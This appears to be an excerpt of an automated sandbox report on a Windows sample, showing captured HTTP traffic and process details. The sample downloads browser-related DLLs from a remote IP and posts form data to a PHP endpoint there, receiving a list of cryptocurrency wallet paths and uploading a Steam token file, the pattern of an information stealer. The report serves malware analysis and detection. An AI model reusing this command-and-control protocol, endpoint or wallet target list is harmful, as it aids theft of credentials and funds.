00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 24, 2024 15:09:14.654485941 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 15:09:14.935421944 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 24, 2024 15:09:15.270463943 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 15:09:15.551877022 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 24, 2024 15:09:15.716146946 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 15:09:15.996824980 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 24, 2024 15:09:16.739512920 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 15:09:17.020282984 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 24, 2024 15:09:17.174760103 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 15:09:17.455475092 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 24, 2024 15:09:17.943273067 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 15:09:18.750607014 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:18.791718960 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEGDAEHIEHIDHJDAAK Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 2d 2d 0d 0a Data Ascii: ------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="message"wallets------CFIEGDAEHIEHIDHJDAAK--
Oct 24, 2024 15:09:19.075779915 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:18 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 24, 2024 15:09:19.078458071 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDG Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 2d 2d 0d 0a Data Ascii: ------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="message"files------CBFIIEHJDBKJKECBFHDG--
Oct 24, 2024 15:09:19.362668037 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:19.378750086 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file"------IDHIEGIIIECAKEBFBAAE--
Oct 24, 2024 15:09:20.162754059 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:20.194094896 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"ybncbhylepme------FHIECBAFBFHIJKFIJDAK--
Oct 24, 2024 15:09:20.485423088 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 24, 2024 15:09:20.487828970 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIIECAAKECFHIECBKJDH--
Oct 24, 2024 15:09:21.270037889 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	09:09:01
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd20000
File size:	1'852'928 bytes
MD5 hash:	986B9335041F4D6A2924FE3E2C8DD4BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
